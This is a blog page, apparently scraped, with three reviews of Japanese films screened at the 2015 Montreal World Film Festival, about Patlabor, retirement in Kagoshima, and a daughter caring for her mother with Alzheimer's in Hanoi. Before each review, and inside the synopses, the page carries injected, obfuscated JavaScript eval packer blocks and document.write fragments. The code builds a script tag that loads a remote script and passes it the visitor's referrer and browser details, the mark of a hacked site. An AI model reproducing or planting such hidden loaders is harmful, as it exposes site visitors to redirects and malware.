eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbdbt|var|u0026u|referrer|nztkb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktyrz|var|u0026u|referrer|atheb||js|php’.split(‘|’),0,{}))

(Text from the
Festival’s program)


WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

This is a beautiful movie. The CGI seems so perfect that the only thing that looks out of place is the Labor themselves — they look so preposterous, like some old giant toys from another era; that was probably done on purpose.

Not surprisingly (considering it’s a movie directed by Mamoru Oshii), this is a Patlabor movie where we see actual labor action only a few minutes in the end. And, of course, the movie have the usual slow moments of politico-philosophical introspection also typical of Oshii’s movies. The director himself seems to make a cameo appearance in the movie, with his typical hat and his beloved basset hound dog.

However, I am not sure that anyone who is not already familiar with the Patlabor story could easily understand what’s happening in this movie, which seems to come closely after the second anime movie, and which is also the final segment of a 7-part series of live-action films! Even myself, who is well acquainted with the Patlabor universe, had trouble following sometimes (was the pilot of the helicopter the previous SV2 commander? Was she acting to seek some sort of social justice? I am not really sure…). Of course, if you take it strickly as an action movie (and disregards the political stuff) there is not much that you really need to understand to enjoy the movie.

In his introduction of the movie, before the screening, Oshii-San didn’t say much. However, he mentioned that he shot his previous film in Montreal (Garm Wars: The Last Druid — for more details on this movie you can check ANN, IMdB, Youtube or Wikipedia).

All in all, this movie offers a great photography, beautiful CGI, a nice near-future sci-fi setting and, as a bonus, it shows us parts of Tokyo that we are not used to see. But it has much more meaning if you are a Patlabor fan, of course.

The Next Generation Patlabor — Tokyo War (The Next Generation ????? ? ???? / Patoreiba: Shuto Kessen / Lit. “Patlabor: Decisive battle over the capital”): Japan, 2015, 93 min.; Dir./Scr.: Mamoru Oshii; Phot.: Hiroshi Machida, Tetsuya Kudo; Art Dir.: Anri Jojo; Ed.: Yoshinori Ohta; Music: Kenji Kawai; Labor Design: Hideki Hashimoto, Katsuya Terada; Cast: Toshio Kakei (Keiji Gotoda), Erina Mano (Akira Izumino), Seiji Fukushi (Yuma Shiobara), Rina Ohta (Kasya), Shigeru Chiba (Shigeo Shiba), Kanna Mori (Rei Haihara), Kotaro Yoshida (Onodera), Reiko Takashima (Kei Takahata), Yoshinori Horimoto (Isamu Otawara), Shigekazu Tajiri (Hiromichi Yamazaki), Kohei Shiotsuka (Shinji Mikiya), Yoshikazu Fujiki (Yoshikatsu Buchiyama).

Film screened at the Montreal World Film Festival on August 30th, 2015 (Cinema Quartier Latin 9, 21h30 – the theatre was filled only at 14% of its capacity) as part of the “World Great” segment. The director was present to introduce the movie but there was no Q&A due to the late hour of the screening.

For more information you can visit the following websites:
The Next Generation Patlabor — Tokyo War © 2015 HEADGEAR / ”THE NEXT GENERATION -PATLABOR-” PARTNERS.

[ Traduire ]

Early Spring, Sakurajima

“Takashi Arimura had been working in Kyoto. Now that he’s reached the age of retirement he’s returned to his hometown, document.write(“”); Kagoshima. A beautiful city with a volcano overlooking it, but the vista can’t make up for the fact that life in retirement is depressing. With the encouragement of his wife, Kyoko, he takes up a new hobby — drawing. He picks a paintbrush for the first time. The world now looks very different. He now has a goal in life. Can he reach it?”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nsfan|var|u0026u|referrer|fasbf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rbese|var|u0026u|referrer|ztest||js|php’.split(‘|’),0,{}))

(Text from the
Festival’s program)


WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

This movie shows us the boring life of a retired elderly couple. With her husband’s retirement money, Kyoko can finally open her own very small movie theatre. And Takashi can start to paint again, but he feels unhappy and thinks he has no talent. Life seems not worth living and he feels like just killing time before death. He meets a fortune teller who somehow predicts him better days and encourages him to be more optimistic.

He finds a new fascination for the Sakurajima island and its active volcano, so he starts making many trips there to paint the volcano. He submit his painting for a local exposition but it is not selected. However, he has found a new joy and feels life is worth living again.

The movie was shot in cinéma-vérité style with very little dialogue and some weird angle shots. The pace is so slow that the story doesn’t seem to progress at all sometimes. The movie seems excruciatingly long despite that it’s only eighty-eight minutes long! The photography is good and gives us the opportunity to see the beautiful countryside of Sakurajima as well as the rather ordinary cityscape of Kagoshima. It represents the image of the real, everyday Japan which is somewhat rather refreshing.

Despite its shortcomings, the movie offer an interesting subject. More and more Japanese are living longer to enjoy their retirement, even on a merger revenue (this couple didn’t seem rich at all since they live very simply, in a very small house and his clothing have many patches). They must find hobbies to make their retiring enjoyable.

Early Spring, Sakurajima (???? / Sakurajima soyun / Sakurajima early spring): Japan, 2015, 88 min.; Dir./Scr./Ed.: Hiroshi Toda: Phot.: Guillaume Tauveron, Hiroshi Toda; Music: Mica Toda; Cast: Yoichi Hayashi, Hitomi Wakahara, Kenkichi Nishi, Katsuhiko Nishi.

Film screened at the Montreal World Film Festival on August 30th, 2015 (Cinema Quartier Latin 16, 16h00 – the theatre was half full) as part of the “Focus on World Cinema” segment.

For more information you can visit the following websites:
Early Spring, Sakurajima © 2015 Skeleton Films.

[ Traduire ]

Blowing in the winds of Vietnam

“Misao Sasho teaches Japanese in Hanoi, document.write(“”); Vietnam. One day she receives a phone call from Japan informing her of her father’s passing. Upon returning to Japan for her father’s funeral, she realizes that her mother has deteriorated and is becoming senile. She decides to take her back to Vietnam. The new environment works wonders. Misao’s mother enjoys the company of Misao’s acquaintances. She is suddenly the centre of attention…”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dansa|var|u0026u|referrer|ieday||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|resra|var|u0026u|referrer|dzbzn||js|php’.split(‘|’),0,{}))

(Text from the
Festival’s program)


WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

This is one of the two best movies I’ve seen at the MWFF in 2015.

Misao is teaching Japanese in Hanoi, Vietnam. When she returns to Tokyo for her father’s funeral, she realizes that her mother Alzheimer’s disease has gotten worse. She’ bored at a stranger’s funeral: her husband’s! Her step-mother cannot take care of her anymore so Misao decides to bring her back to Vietnam with her, despite the opposition of her family. “It will make her worse” or “it will kill her,” they say.

At first, it works out pretty well and, despite the language barrier, her mother is getting along with Misao’s friends, students and the people of the neighbourhood (mostly owners of the local cafe’s, the Sakura Hotel, Japanese bar, the programming director of the VoV radio station, as well as the staff of the Youth Theatre, and a Japanese expat who drives a bicycle taxi). Together, they all live several adventures like helping a young Japanese woman to find her grand-father’s Vietnamese family that he left behind after WWII or organizing a musical show starring a very old (and also Alzheimer’s sufferer) theatrical actress.

Misao is even reacquainted with an old friend from her college days — when they were protesting during the university uprisings of the ’60s. He takes a job as another bicycle taxi driver but has an accident while carrying Misao’s mother who gets seriously hurt. Feeling guilty, he helps taking care of the old women after her hospitalization, but he has to leave because of his job as a TV producer. However, Misao cannot take care of her mother alone. It is a vey demanding task and she gets sick herself because of it. This is quite a somber moment in the movie and we really feel the pain for her (it has particularly hit home for me because, at the time of the screening, I had recently experience a similar situation in my family).

In the end, the mother gets better (from her hip replacement NOT from the Alzheimer’s because you never get better from that, you can only slow it down a little). Misao’s students stage a musical around a Japanese folk song that can provide a sort of allegory for Misao’s situation. Apart from Misao’s mother post-accident despair, it a fell-good and up beat movie. We have to take one day at a time and enjoy life while we can — and not give up on our loved ones.

The movie not only want to create awareness on the fact that the increasingly aging population of Japan means that the society will have to deal more and more with the problem of elderly’s dementia, but also it wants to remind the Japanese of the close ties (and maybe responsibilities) that still bind them with Vietnam, which was one of their pre-WWII “colonies.”

One negative point: I was told by someone who speaks vietnamese that the language spoken by the Japanese actors (which they most certainly learned phonetically) was so terrible that it was impossible to understand.

It is a well-paced drama that offers lots of light-hearted moments and allows the viewers to enjoy not only the beautiful cityscape of Hanoi, but also the surrounding countryside.

I really enjoyed this beautifully made movie which provided an excellent entertainment while making us think about very serious subjects like alzheimer and wars in Vietnam.

Blowing in the winds of Vietnam (??????????? / Betonamu No Kaze Ni Fukarete): Japan/Vietnam, 2015, 116 min.; Dir.: Tat Binh & Kazuki Omori; Scr.: Kazuki Omori, Uichiro Kitazaki (based on a novel by Miyuki Komatsu); Phot.: Koichi Saito; Ed.: Naoki Kaneko; Music: Tetsuro Kashibuchi; Cast: Eiji Okuda, Akira Emoto, Kôji Kikkawa, Keiko Matsuzaka, Yôsuke Saitô, Reiko Kusamura, Yûya Takayama, Shigehiro Yamaguchi, Reina Fujie, Yoneko Matsukane, Tan Nhuong, Lan Huong, Tan Hanh.

Film screened at the Montreal World Film Festival on August 29th, 2015 (Cinema Quartier Latin 12, 21h30 – the theatre was half full) as part of the “Focus on World Cinema” segment.

For more information you can visit the following websites:
Blowing in the wind of Vietnam © 2015?Blowing in the wind of Vietnam?Production Committee.

[ Traduire ]